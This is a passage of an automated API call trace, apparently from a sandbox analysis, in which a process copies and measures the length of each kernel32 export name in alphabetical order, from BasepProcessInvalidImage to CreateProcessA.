returned="BasepProcessInvalidImage" [0131.319] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0131.319] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0131.319] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0131.319] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0131.319] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0131.319] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0131.319] lstrlenA (lpString="BEEP") returned 4 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0131.319] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0131.319] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0131.319] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0131.319] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0131.319] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0131.319] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0131.319] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0131.319] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0131.319] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0131.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0131.319] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0131.320] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0131.320] lstrlenA (lpString="CANCELIO") returned 8 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0131.320] lstrlenA (lpString="CANCELIOEX") returned 10 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0131.320] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0131.320] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0131.320] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0131.320] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0131.320] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0131.320] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0131.320] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0131.320] lstrlenA (lpString="CHECKELEVATION") returned 14 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0131.320] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0131.320] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0131.320] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0131.320] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0131.320] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0131.320] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0131.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0131.321] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0131.321] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0131.321] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0131.321] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0131.321] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0131.321] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0131.321] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0131.321] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0131.321] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0131.321] lstrlenA (lpString="CLOSESTATE") returned 10 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0131.321] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0131.321] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0131.321] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0131.321] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0131.321] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0131.321] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0131.321] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0131.321] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0131.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0131.322] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0131.322] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0131.322] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0131.322] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0131.322] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0131.322] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0131.322] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0131.322] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0131.322] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0131.322] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0131.322] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0131.322] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0131.322] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0131.322] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0131.322] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0131.322] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0131.322] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0131.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0131.322] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0131.323] lstrlenA (lpString="COPYCONTEXT") returned 11 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0131.323] lstrlenA (lpString="COPYFILE2") returned 9 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0131.323] lstrlenA (lpString="COPYFILEA") returned 9 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0131.323] lstrlenA (lpString="COPYFILEEXA") returned 11 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0131.323] lstrlenA (lpString="COPYFILEEXW") returned 11 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0131.323] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0131.323] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0131.323] lstrlenA (lpString="COPYFILEW") returned 9 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0131.323] lstrlenA (lpString="COPYLZFILE") returned 10 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0131.323] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0131.323] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0131.323] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0131.323] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0131.323] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0131.323] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0131.323] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0131.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0131.323] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0131.324] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0131.324] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0131.324] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0131.324] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0131.324] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0131.324] lstrlenA (lpString="CREATEEVENTA") returned 12 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0131.324] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0131.324] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0131.324] lstrlenA (lpString="CREATEEVENTW") returned 12 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0131.324] lstrlenA (lpString="CREATEFIBER") returned 11 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0131.324] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0131.324] lstrlenA (lpString="CREATEFILE2") returned 11 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0131.324] lstrlenA (lpString="CREATEFILEA") returned 11 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0131.324] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0131.324] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0131.324] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0131.324] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0131.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0131.324] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0131.325] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0131.325] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0131.325] lstrlenA (lpString="CREATEFILEW") returned 11 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0131.325] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0131.325] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0131.325] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0131.325] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0131.325] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0131.325] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0131.325] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0131.325] lstrlenA (lpString="CREATEJOBSET") returned 12 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0131.325] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0131.325] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0131.325] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0131.325] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0131.325] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0131.325] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0131.325] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0131.326] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0131.326] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0131.326] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0131.326] lstrlenA (lpString="CREATEPIPE") returned 10 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0131.326] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0131.326] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") 